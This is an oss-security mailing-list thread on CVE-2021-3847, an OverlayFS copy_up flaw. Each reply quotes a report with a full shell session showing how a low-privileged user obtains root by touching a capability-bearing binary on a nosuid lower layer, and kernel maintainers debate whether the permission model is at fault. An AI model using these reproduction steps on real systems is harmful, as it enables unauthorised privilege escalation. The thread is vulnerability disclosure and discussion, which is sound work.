Re: [oss-security] CVE-2021-3847: OverlayFS - Potential Privilege Escalation using overlays copy_up

Re: [oss-security] CVE-2021-3847: OverlayFS - Potential Privilege Escalation using overlays copy_up

[Miklos Szeredi]

On Thu, Oct 14, 2021 at 06:30:53PM +0000, Alon Zahavi wrote:
> 
> After disclosing the issue with the linux-distros mailing list, I am reporting the security issue publicly to here.
> There is no patch available and may not be available for a long time because the kernel can’t enforce the mitigation proposed, as that would be a layering violation and could also possibly cause a regression.
> This vulnerability was attached with CVE-2021-3847.
> Here is the report that was initially sent:
> 
> ## Bug Class
> Escalation of privileges - Bypassing the security extended attribute attachment restrictions (in order to modify the security.capability xattr, a process will need CAP_SYS_ADMIN or CAP_SETFCAP).
> # Technical Details
> ## Summary:
> An attacker with a low-privileged user on a Linux machine with an overlay mount which has a file capability in one of its layers may escalate his privileges up to root when copying a capable file from a nosuid mount into another mount.
> ## In details:
> If there is an overlay mount that one of its lower layers contains a file with capabilities and in case that the lower layer is a nosuid mount (which means the file capabilities are being ignored at execution), an attacker with low-privileges user can touch the file, which causes the overlayFS driver to copy_up the file with its capabilities into the upper layer. That way the attacker can now execute the file with the file's capabilities, thus escalating its privileges.

I think this is a misunderstanding about how overlayfs operates.  Mounting
overlayfs is effectively a just-in-time version of "cp -a lowerdir upperdir".
In other words if the admin creates an overlay where the lower layer is
untrusted and the upper layer is trusted, then that act itself is the
privilege escalation.

This is more formally documented in "Documentation/filesystems/overlayfs.rst"
in the "Permission model" section.

If this model is not clear, then maybe it needs to be spelled out more
explicitly.  Perhaps even a warning message could be added to the kernel logs
in case the lower mount is "nosuid".  But IMO erroring out on the copy-up or
skipping copy up of certain attributes would make the cure worse than the
disease.

Let me know if I'm missing something.

Thanks,
Miklos

> See attached image.
> ## Build:
> Any Linux machine with a support for overlayFS.
> For example: AWS EC2 Ubuntu 20.04.
> Mount a device to any folder.
> Copy any file with capabilities into that folder.
> Remount the device now with nosuid option.
> mount an overlayFS mount where there are two layers. Make sure the lower directory is the directory with the capable file.
> ## Execution:
> As a low-priv user cd into the merged directory.
> Execute touch capable_file
> cd to the upper layer directory.
> Execute the capable binary.
> ## Expected Results:
> When copying a capable file using a low privileges user, the file should be copied without any file capabilities. As the Linux kernel restricts the copying of a file with capabilities, so low-pric user should not be able to achieve this goal.
> ## Observed Results:
> The new file that appears in the upper layer directory have the same capabilities as the file that had been copied. This behavior occur probably because the overlay driver's process is the one responsible for the copying, and it copies the whole file with its extended attributes.
> 
> 
> ########## Example ##########
> # there are two mount in question
> $ cd /home/user/overlayfs/
> 
> $ ls -l
> drwxr-xr-x 3 user user   4096 Sep 19 14:07 lowerUSB
> drwxrwxr-x 1 user user   4096 Sep 19 14:06 merge
> drwxrwxr-x 2 user user   4096 Sep 14 13:32 test
> drwxrwxr-x 2 user user   4096 Sep 19 14:06 upper
> drwxrwxr-x 3 user user   4096 Sep 19 14:25 work
> 
> # there are two mount in question.
> # lowerUSB is a mount of an USB, which has a capable file inside.
> # IMPORTENT NOTE: This mount has "nosuid" option, so capabilities should be ignored while executing it.
> # The second mount is the overlay mount. Its lower directory is `lowerUSB/` which is the first mount mentioned above. Its upper is just a regular directory on the root fs.
> $ mount
> /dev/sdd on /home/user/overlayfs/lowerUSB type ext4 (rw,nosuid,nodev,relatime,uhelper=udisks2)
> overlay on /home/user/overlayfs/merge type overlay (rw,relatime,lowerdir=lowerUSB,upperdir=upper,workdir=work)
> 
> # The contents of all the directories.
> $ ls -l *
> lowerUSB:
> total 40
> -rwxr-xr-x 1 user user 17104 Sep 13 15:58 escalate
> drwx------ 2 user user 16384 Jul  5 14:07 lost+found
> 
> merge:
> total 40
> -rwxr-xr-x 1 user user 17104 Sep 19 14:27 escalate
> drwx------ 2 user user 16384 Jul  5 14:07 lost+found
> 
> test:
> total 0
> 
> upper:
> total 0
> 
> work:
> total 4
> d--------- 2 root root 4096 Sep 19 14:25 work
> 
> # escalate is an executable that set its uid and gid to 0.
> $ getcap ./lowerUSB/escalate
> ./lowerUSB/escalate = cap_setgid,cap_setuid+eip
> 
> $ id
> uid=1000(user) gid=1000(user) groups=1000(user)
> 
> # When trying to execute ./lowerUSB/escalate, it does not work because it is a `nosuid` mount.
> $ ./lowerUSB/escalate
> [-] Failure
> 
> # Try to copy the binary with its capabilities.
> # It should not work, because regular users are not allowed to copy the "security.capability" xattr.
> $ cp --preserve=all ./lowerUSB/escalate ./test/escalate
> cp: setting attribute 'security.capability' for 'security.capability': Operation not permitted
> 
> # Trigger the copy_up
> $ touch ./merge/escalate
> $ ls -l ./upper/
> -rwxr-xr-x 1 user user 17K Sep 19 15:01 escalate
> 
> # The copy_up kept the binary capabilities (xattr)
> $ getcap ./upper/escalate
> ./upper/escalate = cap_setgid,cap_setuid+eip
> 
> # executing the binary, with the capabilities, so the privileges will escalate to root.
> $ ./upper/escalate
> $ id
> uid=0(root) gid=0(root) groups=0(root)
> 
> 

Re: [oss-security] CVE-2021-3847: OverlayFS - Potential Privilege Escalation using overlays copy_up

[Thadeu Lima de Souza Cascardo]

On Tue, Oct 19, 2021 at 05:23:27PM +0200, Miklos Szeredi wrote:
> On Thu, Oct 14, 2021 at 06:30:53PM +0000, Alon Zahavi wrote:
> > 
> > After disclosing the issue with the linux-distros mailing list, I am reporting the security issue publicly to here.
> > There is no patch available and may not be available for a long time because the kernel can’t enforce the mitigation proposed, as that would be a layering violation and could also possibly cause a regression.
> > This vulnerability was attached with CVE-2021-3847.
> > Here is the report that was initially sent:
> > 
> > ## Bug Class
> > Escalation of privileges - Bypassing the security extended attribute attachment restrictions (in order to modify the security.capability xattr, a process will need CAP_SYS_ADMIN or CAP_SETFCAP).
> > # Technical Details
> > ## Summary:
> > An attacker with a low-privileged user on a Linux machine with an overlay mount which has a file capability in one of its layers may escalate his privileges up to root when copying a capable file from a nosuid mount into another mount.
> > ## In details:
> > If there is an overlay mount that one of its lower layers contains a file with capabilities and in case that the lower layer is a nosuid mount (which means the file capabilities are being ignored at execution), an attacker with low-privileges user can touch the file, which causes the overlayFS driver to copy_up the file with its capabilities into the upper layer. That way the attacker can now execute the file with the file's capabilities, thus escalating its privileges.
> 
> I think this is a misunderstanding about how overlayfs operates.  Mounting
> overlayfs is effectively a just-in-time version of "cp -a lowerdir upperdir".
> In other words if the admin creates an overlay where the lower layer is
> untrusted and the upper layer is trusted, then that act itself is the
> privilege escalation.
> 
> This is more formally documented in "Documentation/filesystems/overlayfs.rst"
> in the "Permission model" section.
> 
> If this model is not clear, then maybe it needs to be spelled out more
> explicitly.  Perhaps even a warning message could be added to the kernel logs
> in case the lower mount is "nosuid".  But IMO erroring out on the copy-up or
> skipping copy up of certain attributes would make the cure worse than the
> disease.

Should we fail (and log it) when the lower mount and upper mount have different
suid settings, and require a force option to be used?

Cascardo.

> 
> Let me know if I'm missing something.
> 
> Thanks,
> Miklos
> 
> > See attached image.
> > ## Build:
> > Any Linux machine with a support for overlayFS.
> > For example: AWS EC2 Ubuntu 20.04.
> > Mount a device to any folder.
> > Copy any file with capabilities into that folder.
> > Remount the device now with nosuid option.
> > mount an overlayFS mount where there are two layers. Make sure the lower directory is the directory with the capable file.
> > ## Execution:
> > As a low-priv user cd into the merged directory.
> > Execute touch capable_file
> > cd to the upper layer directory.
> > Execute the capable binary.
> > ## Expected Results:
> > When copying a capable file using a low privileges user, the file should be copied without any file capabilities. As the Linux kernel restricts the copying of a file with capabilities, so low-pric user should not be able to achieve this goal.
> > ## Observed Results:
> > The new file that appears in the upper layer directory have the same capabilities as the file that had been copied. This behavior occur probably because the overlay driver's process is the one responsible for the copying, and it copies the whole file with its extended attributes.
> > 
> > 
> > ########## Example ##########
> > # there are two mount in question
> > $ cd /home/user/overlayfs/
> > 
> > $ ls -l
> > drwxr-xr-x 3 user user   4096 Sep 19 14:07 lowerUSB
> > drwxrwxr-x 1 user user   4096 Sep 19 14:06 merge
> > drwxrwxr-x 2 user user   4096 Sep 14 13:32 test
> > drwxrwxr-x 2 user user   4096 Sep 19 14:06 upper
> > drwxrwxr-x 3 user user   4096 Sep 19 14:25 work
> > 
> > # there are two mount in question.
> > # lowerUSB is a mount of an USB, which has a capable file inside.
> > # IMPORTENT NOTE: This mount has "nosuid" option, so capabilities should be ignored while executing it.
> > # The second mount is the overlay mount. Its lower directory is `lowerUSB/` which is the first mount mentioned above. Its upper is just a regular directory on the root fs.
> > $ mount
> > /dev/sdd on /home/user/overlayfs/lowerUSB type ext4 (rw,nosuid,nodev,relatime,uhelper=udisks2)
> > overlay on /home/user/overlayfs/merge type overlay (rw,relatime,lowerdir=lowerUSB,upperdir=upper,workdir=work)
> > 
> > # The contents of all the directories.
> > $ ls -l *
> > lowerUSB:
> > total 40
> > -rwxr-xr-x 1 user user 17104 Sep 13 15:58 escalate
> > drwx------ 2 user user 16384 Jul  5 14:07 lost+found
> > 
> > merge:
> > total 40
> > -rwxr-xr-x 1 user user 17104 Sep 19 14:27 escalate
> > drwx------ 2 user user 16384 Jul  5 14:07 lost+found
> > 
> > test:
> > total 0
> > 
> > upper:
> > total 0
> > 
> > work:
> > total 4
> > d--------- 2 root root 4096 Sep 19 14:25 work
> > 
> > # escalate is an executable that set its uid and gid to 0.
> > $ getcap ./lowerUSB/escalate
> > ./lowerUSB/escalate = cap_setgid,cap_setuid+eip
> > 
> > $ id
> > uid=1000(user) gid=1000(user) groups=1000(user)
> > 
> > # When trying to execute ./lowerUSB/escalate, it does not work because it is a `nosuid` mount.
> > $ ./lowerUSB/escalate
> > [-] Failure
> > 
> > # Try to copy the binary with its capabilities.
> > # It should not work, because regular users are not allowed to copy the "security.capability" xattr.
> > $ cp --preserve=all ./lowerUSB/escalate ./test/escalate
> > cp: setting attribute 'security.capability' for 'security.capability': Operation not permitted
> > 
> > # Trigger the copy_up
> > $ touch ./merge/escalate
> > $ ls -l ./upper/
> > -rwxr-xr-x 1 user user 17K Sep 19 15:01 escalate
> > 
> > # The copy_up kept the binary capabilities (xattr)
> > $ getcap ./upper/escalate
> > ./upper/escalate = cap_setgid,cap_setuid+eip
> > 
> > # executing the binary, with the capabilities, so the privileges will escalate to root.
> > $ ./upper/escalate
> > $ id
> > uid=0(root) gid=0(root) groups=0(root)
> > 
> > 

Re: [oss-security] CVE-2021-3847: OverlayFS - Potential Privilege Escalation using overlays copy_up

[Miklos Szeredi]

On Tue, 19 Oct 2021 at 18:35, Thadeu Lima de Souza Cascardo
<cascardo@canonical.com> wrote:
>
> On Tue, Oct 19, 2021 at 05:23:27PM +0200, Miklos Szeredi wrote:
> > On Thu, Oct 14, 2021 at 06:30:53PM +0000, Alon Zahavi wrote:
> > >
> > > After disclosing the issue with the linux-distros mailing list, I am reporting the security issue publicly to here.
> > > There is no patch available and may not be available for a long time because the kernel can’t enforce the mitigation proposed, as that would be a layering violation and could also possibly cause a regression.
> > > This vulnerability was attached with CVE-2021-3847.
> > > Here is the report that was initially sent:
> > >
> > > ## Bug Class
> > > Escalation of privileges - Bypassing the security extended attribute attachment restrictions (in order to modify the security.capability xattr, a process will need CAP_SYS_ADMIN or CAP_SETFCAP).
> > > # Technical Details
> > > ## Summary:
> > > An attacker with a low-privileged user on a Linux machine with an overlay mount which has a file capability in one of its layers may escalate his privileges up to root when copying a capable file from a nosuid mount into another mount.
> > > ## In details:
> > > If there is an overlay mount that one of its lower layers contains a file with capabilities and in case that the lower layer is a nosuid mount (which means the file capabilities are being ignored at execution), an attacker with low-privileges user can touch the file, which causes the overlayFS driver to copy_up the file with its capabilities into the upper layer. That way the attacker can now execute the file with the file's capabilities, thus escalating its privileges.
> >
> > I think this is a misunderstanding about how overlayfs operates.  Mounting
> > overlayfs is effectively a just-in-time version of "cp -a lowerdir upperdir".
> > In other words if the admin creates an overlay where the lower layer is
> > untrusted and the upper layer is trusted, then that act itself is the
> > privilege escalation.
> >
> > This is more formally documented in "Documentation/filesystems/overlayfs.rst"
> > in the "Permission model" section.
> >
> > If this model is not clear, then maybe it needs to be spelled out more
> > explicitly.  Perhaps even a warning message could be added to the kernel logs
> > in case the lower mount is "nosuid".  But IMO erroring out on the copy-up or
> > skipping copy up of certain attributes would make the cure worse than the
> > disease.
>
> Should we fail (and log it) when the lower mount and upper mount have different
> suid settings, and require a force option to be used?

"cp -a" doesn't fail if used to copy from a nosuid mount to a suid
mount, right?  Should it?

I understand the psychology behind this: people think copy-up is done
by the current (unprivileged) user, because it's triggered by the
current user.   But copy up isn't done by the current user, it's done
by the mounting user (i.e .with the privileges of the mounting task).

The reason for this is that in many cases copy up *can not* be
performed by the current task.  Just think of the case where e.g. root
owned parent directory needs to be copied up before the user writable
file is copied up.

This means that it's the responsibility of the mounting user to ensure
that copy-up does not compromise security, since the current
(unprivileged) user will be able to *trigger* operations done with the
privileges of the mounting user, such as the scenario described in
this CVE.

Thanks,
Miklos